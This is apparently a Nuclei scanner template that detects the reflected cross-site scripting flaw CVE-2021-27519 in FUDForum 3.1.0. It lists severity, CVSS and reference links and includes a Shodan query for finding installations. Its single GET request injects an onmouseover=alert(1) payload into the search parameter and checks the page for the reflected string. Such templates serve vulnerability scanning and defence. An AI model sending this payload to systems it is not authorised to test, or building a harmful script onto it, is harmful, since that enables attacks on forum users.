id: CVE-2021-27519

info:
  name: FUDForum 3.1.0 - Reflected XSS
  author: kh4sh3i
  severity: medium
  description: |
    A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript
  reference:
    - https://www.exploit-db.com/exploits/49942
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27519
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27519
    cwe-id: CWE-79
  metadata:
    shodan-query: 'http.html:"Powered by: FUDforum"'
    verified: "true"
  tags: cve,cve2021,xss,fudforum

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200